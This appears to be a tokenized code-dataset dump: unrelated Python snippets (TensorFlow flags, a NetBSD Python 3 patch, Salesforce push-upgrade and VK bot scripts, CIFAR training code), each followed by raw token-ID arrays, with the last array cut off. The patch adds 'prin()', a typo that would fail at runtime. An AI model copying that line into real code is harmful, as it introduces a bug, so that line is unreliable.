'/tmp/polyphonic_rnn/checkpoints', 'Path to the directory where checkpoints and summary events will be saved ' 'during training') tf.app.flags.DEFINE_string( 'log', 'INFO', 'The threshold for what messages will be logged DEBUG, INFO, WARN, ERROR, ' 'or FATAL.') if __name__ == '__main__': console_entry_point()
[ 2, 15069, 1584, 3012, 3457, 13, 1439, 6923, 33876, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 921, 743, 7330, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 198, 2, 42881, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 198, 2, 4091, 262, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 198, 2, 11247, 739, 262, 13789, 13, 198, 37811, 44077, 7514, 746, 9229, 371, 6144, 526, 15931, 198, 198, 11748, 1257, 310, 10141, 198, 11748, 28686, 198, 198, 2, 5387, 17944, 198, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 11192, 273, 11125, 355, 48700, 198, 198, 6738, 2153, 29188, 13, 27530, 13, 35428, 746, 9229, 62, 81, 20471, 1330, 7514, 746, 9229, 62, 81, 20471, 62, 34960, 198, 6738, 2153, 29188, 13, 27530, 13, 35428, 746, 9229, 62, 81, 20471, 1330, 7514, 746, 9229, 62, 81, 20471, 62, 8019, 198, 198, 38948, 50, 796, 48700, 13, 1324, 13, 33152, 13, 38948, 50, 198, 27110, 13, 1324, 13, 33152, 13, 7206, 29940, 62, 8841, 7, 198, 220, 220, 220, 705, 11295, 62, 43167, 62, 15414, 3256, 6045, 11, 705, 34220, 746, 9229, 48700, 22105, 5740, 44015, 594, 2393, 2637, 8, 198, 27110, 13, 1324, 13, 33152, 13, 7206, 29940, 62, 8841, 7, 198, 220, 220, 220, 705, 9122, 4122, 62, 15908, 3256, 31051, 22065, 14, 35428, 746, 9229, 62, 81, 20471, 14, 9122, 13033, 3256, 198, 220, 220, 220, 705, 15235, 284, 262, 8619, 810, 36628, 290, 10638, 2995, 481, 307, 7448, 705, 198, 220, 220, 220, 705, 42122, 3047, 11537, 198, 27110, 13, 1324, 13, 33152, 13, 7206, 29940, 62, 8841, 7, 198, 220, 220, 220, 705, 6404, 3256, 705, 10778, 3256, 198, 220, 220, 220, 705, 464, 11387, 329, 644, 6218, 481, 307, 18832, 16959, 11, 24890, 11, 42660, 11, 33854, 11, 705, 198, 220, 220, 220, 705, 273, 47200, 1847, 2637, 8, 628, 628, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 8624, 62, 13000, 62, 4122, 3419, 198 ]
3.220379
422
$NetBSD: patch-chavier_gui.py,v 1.1 2020/03/11 20:17:12 wiz Exp $ Convert to python3 syntax. --- chavier/gui.py.orig 2011-08-08 19:23:18.000000000 +0000 +++ chavier/gui.py - print 'CHART STATE' - print '-' * 70 - print 'surface: %d x %d' % (alloc.width, alloc.height) - print 'area :', self.chart.area - print - print 'minxval:', self.chart.minxval - print 'maxxval:', self.chart.maxxval - print 'xrange :', self.chart.xrange - print - print 'minyval:', self.chart.minyval - print 'maxyval:', self.chart.maxyval - print 'yrange :', self.chart.yrange + print('CHART STATE') + print('-' * 70) + print('surface: %d x %d' % (alloc.width, alloc.height)) + print('area :', self.chart.area) + prin() + print('minxval:', self.chart.minxval) + print('maxxval:', self.chart.maxxval) + print('xrange :', self.chart.xrange) + print() + print('minyval:', self.chart.minyval) + print('maxyval:', self.chart.maxyval) + print('yrange :', self.chart.yrange)
[ 3, 7934, 21800, 25, 8529, 12, 354, 19492, 62, 48317, 13, 9078, 11, 85, 352, 13, 16, 12131, 14, 3070, 14, 1157, 1160, 25, 1558, 25, 1065, 266, 528, 5518, 720, 198, 198, 3103, 1851, 284, 21015, 18, 15582, 13, 198, 198, 6329, 442, 19492, 14, 48317, 13, 9078, 13, 11612, 197, 9804, 12, 2919, 12, 2919, 678, 25, 1954, 25, 1507, 13, 10535, 830, 1343, 2388, 198, 45340, 442, 19492, 14, 48317, 13, 9078, 198, 220, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 3398, 7227, 35454, 6, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 19355, 1635, 4317, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 42029, 25, 4064, 67, 2124, 4064, 67, 6, 4064, 357, 32332, 13, 10394, 11, 36836, 13, 17015, 8, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 20337, 220, 220, 1058, 3256, 2116, 13, 40926, 13, 20337, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 1084, 87, 2100, 25, 3256, 2116, 13, 40926, 13, 1084, 87, 2100, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 9806, 87, 2100, 25, 3256, 2116, 13, 40926, 13, 9806, 87, 2100, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 87, 9521, 1058, 3256, 2116, 13, 40926, 13, 87, 9521, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 1084, 88, 2100, 25, 3256, 2116, 13, 40926, 13, 1084, 88, 2100, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 76, 6969, 2100, 25, 3256, 2116, 13, 40926, 13, 76, 6969, 2100, 198, 12, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 2417, 858, 1058, 3256, 2116, 13, 40926, 13, 2417, 858, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 3398, 7227, 35454, 11537, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 19355, 1635, 4317, 8, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 42029, 25, 4064, 67, 2124, 4064, 67, 6, 4064, 357, 32332, 13, 10394, 11, 36836, 13, 17015, 4008, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 20337, 220, 220, 1058, 3256, 2116, 13, 40926, 13, 20337, 8, 198, 10, 220, 220, 220, 220, 220, 220, 220, 6059, 3419, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 1084, 87, 2100, 25, 3256, 2116, 13, 40926, 13, 1084, 87, 2100, 8, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 9806, 87, 2100, 25, 3256, 2116, 13, 40926, 13, 9806, 87, 2100, 8, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 87, 9521, 1058, 3256, 2116, 13, 40926, 13, 87, 9521, 8, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 3419, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 1084, 88, 2100, 25, 3256, 2116, 13, 40926, 13, 1084, 88, 2100, 8, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 76, 6969, 2100, 25, 3256, 2116, 13, 40926, 13, 76, 6969, 2100, 8, 198, 10, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 2417, 858, 1058, 3256, 2116, 13, 40926, 13, 2417, 858, 8, 198 ]
2.016245
554
from rest_framework import serializers from longclaw.longclaworders.models import Order, OrderItem from longclaw.longclawproducts.serializers import ProductVariantSerializer from longclaw.longclawshipping.serializers import AddressSerializer
[ 6738, 1334, 62, 30604, 1330, 11389, 11341, 198, 6738, 890, 43143, 13, 6511, 43143, 6361, 13, 27530, 1330, 8284, 11, 8284, 7449, 198, 6738, 890, 43143, 13, 6511, 43143, 29498, 13, 46911, 11341, 1330, 8721, 23907, 415, 32634, 7509, 198, 6738, 890, 43143, 13, 6511, 43143, 1477, 4501, 13, 46911, 11341, 1330, 17917, 32634, 7509, 628 ]
4.339286
56
import os import sys import csv import time from push_api import SalesforcePushApi # Force UTF8 output reload(sys) sys.setdefaultencoding('UTF8') if __name__ == '__main__': try: username = os.environ.get('SF_USERNAME') password = os.environ.get('SF_PASSWORD') serverurl = os.environ.get('SF_SERVERURL') version = os.environ.get('VERSION') subscribers = os.environ.get('SUBSCRIBERS', None) subscribers_file = os.environ.get('SUBSCRIBERS_FILE', None) if not subscribers and not subscribers_file: raise ValueError('You must provide either the SUBSCRIBERS or SUBSCRIBERS_FILE environment variables') if subscribers: orgs = subscribers.split(',') else: f_orgs = open(subscribers_file, 'r') orgs = [] for org in f_orgs: orgs.append(org.strip()) push_api = SalesforcePushApi(username, password, serverurl) version = push_api.get_package_version_objs("Id = '%s'" % version, limit=1)[0] print 'Scheduling push upgrade for %s.%s to %s orgs' % (version.major, version.minor, len(orgs)) request_id = push_api.create_push_request(version, orgs) print 'Push Request %s is populated, setting status to Pending to start execution' % request_id if len(orgs) > 1000: print "Delaying 30 seconds to allow all jobs to initialize..." time.sleep(30) print push_api.run_push_request(request_id) print 'Push Request %s is queued for execution' % request_id except SystemExit: sys.exit(1) except: import traceback exc_type, exc_value, exc_traceback = sys.exc_info() print '-'*60 traceback.print_exception(exc_type, exc_value, exc_traceback, file=sys.stdout) print '-'*60 sys.exit(2)
[ 11748, 28686, 198, 11748, 25064, 198, 11748, 269, 21370, 198, 11748, 640, 198, 6738, 4574, 62, 15042, 1330, 17329, 3174, 49222, 32, 14415, 198, 198, 2, 5221, 41002, 23, 5072, 198, 260, 2220, 7, 17597, 8, 198, 17597, 13, 2617, 12286, 12685, 7656, 10786, 48504, 23, 11537, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 20579, 796, 28686, 13, 268, 2268, 13, 1136, 10786, 20802, 62, 29904, 20608, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 9206, 796, 28686, 13, 268, 2268, 13, 1136, 10786, 20802, 62, 47924, 54, 12532, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4382, 6371, 796, 28686, 13, 268, 2268, 13, 1136, 10786, 20802, 62, 35009, 5959, 21886, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 2196, 796, 28686, 13, 268, 2268, 13, 1136, 10786, 43717, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 18327, 796, 28686, 13, 268, 2268, 13, 1136, 10786, 12564, 4462, 34, 7112, 33, 4877, 3256, 6045, 8, 198, 220, 220, 220, 220, 220, 220, 220, 18327, 62, 7753, 796, 28686, 13, 268, 2268, 13, 1136, 10786, 12564, 4462, 34, 7112, 33, 4877, 62, 25664, 3256, 6045, 8, 628, 220, 220, 220, 220, 220, 220, 220, 611, 407, 18327, 290, 407, 18327, 62, 7753, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 11052, 12331, 10786, 1639, 1276, 2148, 2035, 262, 13558, 4462, 34, 7112, 33, 4877, 393, 13558, 4462, 34, 7112, 33, 4877, 62, 25664, 2858, 9633, 11537, 628, 220, 220, 220, 220, 220, 220, 220, 611, 18327, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8745, 82, 796, 18327, 13, 35312, 7, 3256, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 62, 2398, 82, 796, 1280, 7, 7266, 40075, 364, 62, 7753, 11, 705, 81, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8745, 82, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 8745, 287, 277, 62, 2398, 82, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8745, 82, 13, 33295, 7, 2398, 13, 36311, 28955, 628, 220, 220, 220, 220, 220, 220, 220, 4574, 62, 15042, 796, 17329, 3174, 49222, 32, 14415, 7, 29460, 11, 9206, 11, 4382, 6371, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2196, 796, 4574, 62, 15042, 13, 1136, 62, 26495, 62, 9641, 62, 672, 8457, 7203, 7390, 796, 705, 4, 82, 29653, 4064, 2196, 11, 4179, 28, 16, 38381, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 50, 1740, 16619, 4574, 8515, 329, 4064, 82, 13, 4, 82, 284, 4064, 82, 8745, 82, 6, 4064, 357, 9641, 13, 22478, 11, 2196, 13, 1084, 273, 11, 18896, 7, 2398, 82, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 2581, 62, 312, 796, 4574, 62, 15042, 13, 17953, 62, 14689, 62, 25927, 7, 9641, 11, 8745, 82, 8, 628, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 49222, 19390, 4064, 82, 318, 22331, 11, 4634, 3722, 284, 350, 1571, 284, 923, 9706, 6, 4064, 2581, 62, 312, 628, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 2398, 82, 8, 1875, 8576, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 366, 13856, 8369, 1542, 4201, 284, 1249, 477, 3946, 284, 41216, 9313, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 640, 13, 42832, 7, 1270, 8, 198, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 4574, 62, 15042, 13, 5143, 62, 14689, 62, 25927, 7, 25927, 62, 312, 8, 628, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 49222, 19390, 4064, 82, 318, 8358, 1739, 329, 9706, 6, 4064, 2581, 62, 312, 198, 220, 220, 220, 2845, 4482, 30337, 25, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 37023, 7, 16, 8, 198, 220, 220, 220, 2845, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1330, 12854, 1891, 198, 220, 220, 220, 220, 220, 220, 220, 2859, 62, 4906, 11, 2859, 62, 8367, 11, 2859, 62, 40546, 1891, 796, 25064, 13, 41194, 62, 10951, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 19355, 9, 1899, 198, 220, 220, 220, 220, 220, 220, 220, 12854, 1891, 13, 4798, 62, 1069, 4516, 7, 41194, 62, 4906, 11, 2859, 62, 8367, 11, 2859, 62, 40546, 1891, 11, 2393, 28, 17597, 13, 19282, 448, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 705, 19355, 9, 1899, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 37023, 7, 17, 8, 198 ]
2.289186
823
from ..messages import (MSG_NO_NAME_GROUP, MSG_NOW_UNSUBCRIBE, MSG_NO_USER_GROUP, msg_not_found_group_name, msg_already_subscribed, msg_now_subscribed) from pskgu_bot.db.services import (find_group_by_name, find_vk_user_by_id, update_user) from typing import Optional async def subcribe(user_id: Optional[str] = None, group_name: Optional[str] = None, type_sys: str = "vk") -> str: """ Подписывает пользователя на группу. """ if group_name is None or user_id is None: return MSG_NO_NAME_GROUP group = await find_group_by_name(group_name) if not group: return msg_not_found_group_name(group_name) if type_sys == "vk": user = await find_vk_user_by_id(user_id) if user: if user.group == group_name: return msg_already_subscribed(group_name) await update_user(user_id, group_name) return msg_now_subscribed(group_name) async def unsubcribe(user_id: Optional[str] = None, type_sys: str = "vk") -> str: """ Отписывает пользователя от группы. """ if user_id is None: return MSG_NO_USER_GROUP if type_sys == "vk": user = await find_vk_user_by_id(user_id) if not user: return MSG_NO_USER_GROUP else: if user.group == "": return MSG_NO_USER_GROUP else: await update_user(user_id, "") return MSG_NOW_UNSUBCRIBE
[ 6738, 11485, 37348, 1095, 1330, 357, 5653, 38, 62, 15285, 62, 20608, 62, 46846, 11, 49064, 62, 45669, 62, 4944, 12564, 2749, 7112, 12473, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 49064, 62, 15285, 62, 29904, 62, 46846, 11, 31456, 62, 1662, 62, 9275, 62, 8094, 62, 3672, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 31456, 62, 282, 1493, 62, 7266, 47495, 11, 31456, 62, 2197, 62, 7266, 47495, 8, 198, 6738, 279, 8135, 5162, 62, 13645, 13, 9945, 13, 30416, 1330, 357, 19796, 62, 8094, 62, 1525, 62, 3672, 11, 1064, 62, 85, 74, 62, 7220, 62, 1525, 62, 312, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4296, 62, 7220, 8, 198, 6738, 19720, 1330, 32233, 628, 198, 292, 13361, 825, 850, 66, 4892, 7, 7220, 62, 312, 25, 32233, 58, 2536, 60, 796, 6045, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1448, 62, 3672, 25, 32233, 58, 2536, 60, 796, 6045, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2099, 62, 17597, 25, 965, 796, 366, 85, 74, 4943, 4613, 965, 25, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 12466, 253, 25443, 112, 140, 123, 18849, 21727, 45035, 38857, 16142, 16843, 20375, 12466, 123, 25443, 119, 45367, 140, 115, 25443, 110, 16142, 20375, 16843, 30143, 40623, 12466, 121, 16142, 12466, 111, 21169, 35072, 140, 123, 140, 123, 35072, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 611, 1448, 62, 3672, 318, 6045, 393, 2836, 62, 312, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 49064, 62, 15285, 62, 20608, 62, 46846, 628, 220, 220, 220, 1448, 796, 25507, 1064, 62, 8094, 62, 1525, 62, 3672, 7, 8094, 62, 3672, 8, 198, 220, 220, 220, 611, 407, 1448, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 31456, 62, 1662, 62, 9275, 62, 8094, 62, 3672, 7, 8094, 62, 3672, 8, 628, 220, 220, 220, 611, 2099, 62, 17597, 6624, 366, 85, 74, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 2836, 796, 25507, 1064, 62, 85, 74, 62, 7220, 62, 1525, 62, 312, 7, 7220, 62, 312, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2836, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2836, 13, 8094, 6624, 1448, 62, 3672, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 31456, 62, 282, 1493, 62, 7266, 47495, 7, 8094, 62, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 25507, 4296, 62, 7220, 7, 7220, 62, 312, 11, 1448, 62, 3672, 8, 198, 220, 220, 220, 1441, 31456, 62, 2197, 62, 7266, 47495, 7, 8094, 62, 3672, 8, 628, 198, 292, 13361, 825, 32793, 66, 4892, 7, 7220, 62, 312, 25, 32233, 58, 2536, 60, 796, 6045, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2099, 62, 17597, 25, 965, 796, 366, 85, 74, 4943, 4613, 965, 25, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 12466, 252, 20375, 140, 123, 18849, 21727, 45035, 38857, 16142, 16843, 20375, 12466, 123, 25443, 119, 45367, 140, 115, 25443, 110, 16142, 20375, 16843, 30143, 40623, 12466, 122, 20375, 12466, 111, 21169, 35072, 140, 123, 140, 123, 45035, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 611, 2836, 62, 312, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 49064, 62, 15285, 62, 29904, 62, 46846, 628, 220, 220, 220, 611, 2099, 62, 17597, 6624, 366, 85, 74, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 2836, 796, 25507, 1064, 62, 85, 74, 62, 7220, 62, 1525, 62, 312, 7, 7220, 62, 312, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 2836, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 49064, 62, 15285, 62, 29904, 62, 46846, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2836, 13, 8094, 6624, 366, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 49064, 62, 15285, 62, 29904, 62, 46846, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25507, 4296, 62, 7220, 7, 7220, 62, 312, 11, 366, 4943, 198, 220, 220, 220, 1441, 49064, 62, 45669, 62, 4944, 12564, 2749, 7112, 12473, 198 ]
1.838372
860
# from network.models.exceptions import * # from network.network import Network # from network.models.tools import random_choice # from itertools import combinations # import numpy as np
[ 2, 422, 3127, 13, 27530, 13, 1069, 11755, 1330, 1635, 198, 2, 422, 3127, 13, 27349, 1330, 7311, 198, 2, 422, 3127, 13, 27530, 13, 31391, 1330, 4738, 62, 25541, 198, 2, 422, 340, 861, 10141, 1330, 17790, 198, 2, 1330, 299, 32152, 355, 45941, 198 ]
4.065217
46
import r_pyclass r_pyclass.order()
[ 11748, 374, 62, 9078, 4871, 198, 81, 62, 9078, 4871, 13, 2875, 3419, 198 ]
2.5
14
#Developed by Zachary Williams from tkinter import * from functools import partial from PIL import Image import sys from sys import platform root = Tk() z = mainclass(root) root.mainloop() sys.exit()
[ 2, 19246, 276, 416, 18825, 560, 6484, 201, 198, 201, 198, 6738, 256, 74, 3849, 1330, 1635, 201, 198, 6738, 1257, 310, 10141, 1330, 13027, 201, 198, 6738, 350, 4146, 1330, 7412, 201, 198, 11748, 25064, 201, 198, 6738, 25064, 1330, 3859, 201, 198, 201, 198, 201, 198, 201, 198, 201, 198, 201, 198, 15763, 796, 309, 74, 3419, 201, 198, 89, 796, 1388, 4871, 7, 15763, 8, 201, 198, 15763, 13, 12417, 26268, 3419, 201, 198, 17597, 13, 37023, 3419, 201, 198 ]
2.674699
83
while True: try: e = input() except: break print(e.replace(' .', '.').replace(' ,', ','))
[ 4514, 6407, 25, 198, 220, 220, 1949, 25, 304, 796, 5128, 3419, 198, 220, 220, 2845, 25, 2270, 198, 220, 220, 3601, 7, 68, 13, 33491, 10786, 764, 3256, 705, 2637, 737, 33491, 10786, 837, 3256, 705, 4032, 4008, 198 ]
2.475
40
import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn as cudnn import torchvision import torchvision.transforms as transforms import os import argparse from ResNet_CIFAR10 import * from VGG_model import * ##################################################################### ################### Some Loss functions things ###################### ##################################################################### parser = argparse.ArgumentParser(description='Pre-training CIFAR10 Models') parser.add_argument('--lr', default=0.1, type=float, help='learning rate') parser.add_argument('--model', default='resnet', type=str, help='resnet or vgg') parser.add_argument('--loss_func', default='regular', type=str, help='loss function: regular,hessian, hessianv2, std_loss') parser.add_argument('--dataset', default = 'cifar10', type=str, help ='cifar10, cifar100') parser.add_argument('--batch_size', default=128, type=int, help='batch size') parser.add_argument('--epochs', default=10, type=int, help='epochs') parser.add_argument('--std_reg', default = 0.1, type = float, help= 'regularization for std loss') args = parser.parse_args() device = 'cuda' if torch.cuda.is_available() else 'cpu' std_reg = args.std_reg print(f'Model = {args.model} dataset = {args.dataset} loss = {args.loss_func} std lambda = {args.std_reg}') print('==> Preparing data..') if args.dataset == 'cifar10': transform_train = transforms.Compose([ transforms.RandomCrop(32, padding=4), transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),]) transform_test = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),]) trainset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform_train) trainloader = torch.utils.data.DataLoader(trainset, batch_size=args.batch_size, shuffle=True, num_workers=2) testset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform_test) testloader = torch.utils.data.DataLoader(testset, batch_size=100, shuffle=False, num_workers=2) num_classes = 10 if args.dataset == 'cifar100': transform_train = transforms.Compose([ #transforms.ToPILImage(), transforms.RandomCrop(32, padding=4), transforms.RandomHorizontalFlip(), transforms.RandomRotation(15), transforms.ToTensor(), transforms.Normalize( (0.5070751592371323, 0.48654887331495095, 0.4409178433670343), (0.2673342858792401, 0.2564384629170883, 0.27615047132568404)) ]) #cifar100_training = CIFAR100Train(path, transform=transform_train) cifar100_training = torchvision.datasets.CIFAR100(root='./data', train=True, download=True, transform=transform_train) trainloader = torch.utils.data.DataLoader(cifar100_training, shuffle=True, num_workers=2, batch_size=args.batch_size) transform_test = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.5070751592371323, 0.48654887331495095, 0.4409178433670343), (0.2673342858792401, 0.2564384629170883, 0.27615047132568404))]) cifar100_test = torchvision.datasets.CIFAR100(root='./data', train=False, download=True, transform=transform_test) testloader= torch.utils.data.DataLoader(cifar100_test, shuffle=True, num_workers=2, batch_size=args.batch_size) num_classes = 100 print('==> Building model..') if args.model == 'resnet': net = ResNet18(num_classes) if args.model == 'vgg': net = VGG('VGG19',num_classes) net = net.to(device) if device == 'cuda': net = torch.nn.DataParallel(net) cudnn.benchmark = True criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=args.lr, weight_decay=5e-4) scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=200) for epoch in range(0, args.epochs): train(epoch) scheduler.step() test(epoch) acc =test(0) print('Saving..') state = { 'net': net.state_dict(), 'acc': acc, 'epoch': args.epochs, 'batch size': args.batch_size, } if not os.path.isdir('Final_pretrained_models'): os.mkdir('Final_pretrained_models') torch.save(state, f'./Final_pretrained_models/{args.model}_{args.dataset}_{args.loss_func}_{args.batch_size}_{args.epochs}.pth')
[ 11748, 28034, 198, 11748, 28034, 13, 20471, 355, 299, 77, 198, 11748, 28034, 13, 40085, 355, 6436, 198, 11748, 28034, 13, 20471, 13, 45124, 355, 376, 198, 11748, 28034, 13, 1891, 2412, 13, 66, 463, 20471, 355, 269, 463, 20471, 198, 198, 11748, 28034, 10178, 198, 11748, 28034, 10178, 13, 7645, 23914, 355, 31408, 198, 198, 11748, 28686, 198, 11748, 1822, 29572, 198, 198, 6738, 1874, 7934, 62, 34, 5064, 1503, 940, 1330, 1635, 198, 6738, 569, 11190, 62, 19849, 1330, 1635, 628, 198, 29113, 29113, 4242, 2, 198, 14468, 21017, 2773, 22014, 5499, 1243, 1303, 14468, 4242, 2, 198, 29113, 29113, 4242, 2, 628, 198, 198, 48610, 796, 1822, 29572, 13, 28100, 1713, 46677, 7, 11213, 11639, 6719, 12, 34409, 327, 5064, 1503, 940, 32329, 11537, 198, 48610, 13, 2860, 62, 49140, 10786, 438, 14050, 3256, 4277, 28, 15, 13, 16, 11, 2099, 28, 22468, 11, 1037, 11639, 40684, 2494, 11537, 198, 48610, 13, 2860, 62, 49140, 10786, 438, 19849, 3256, 4277, 11639, 411, 3262, 3256, 2099, 28, 2536, 11, 1037, 11639, 411, 3262, 393, 410, 1130, 11537, 198, 48610, 13, 2860, 62, 49140, 10786, 438, 22462, 62, 20786, 3256, 4277, 11639, 16338, 3256, 2099, 28, 2536, 11, 1037, 11639, 22462, 2163, 25, 3218, 11, 33979, 666, 11, 339, 824, 666, 85, 17, 11, 14367, 62, 22462, 11537, 198, 48610, 13, 2860, 62, 49140, 10786, 438, 19608, 292, 316, 3256, 4277, 796, 705, 66, 361, 283, 940, 3256, 2099, 28, 2536, 11, 1037, 796, 6, 66, 361, 283, 940, 11, 269, 361, 283, 3064, 11537, 198, 48610, 13, 2860, 62, 49140, 10786, 438, 43501, 62, 7857, 3256, 4277, 28, 12762, 11, 2099, 28, 600, 11, 1037, 11639, 43501, 2546, 11537, 198, 48610, 13, 2860, 62, 49140, 10786, 438, 538, 5374, 82, 3256, 4277, 28, 940, 11, 2099, 28, 600, 11, 1037, 11639, 538, 5374, 82, 11537, 198, 48610, 13, 2860, 62, 49140, 10786, 438, 19282, 62, 2301, 3256, 4277, 796, 657, 13, 16, 11, 2099, 796, 12178, 11, 1037, 28, 705, 16338, 1634, 329, 14367, 2994, 11537, 198, 22046, 796, 30751, 13, 29572, 62, 22046, 3419, 198, 25202, 796, 705, 66, 15339, 6, 611, 28034, 13, 66, 15339, 13, 271, 62, 15182, 3419, 2073, 705, 36166, 6, 198, 19282, 62, 2301, 796, 26498, 13, 19282, 62, 2301, 198, 4798, 7, 69, 6, 17633, 796, 1391, 22046, 13, 19849, 92, 27039, 796, 1391, 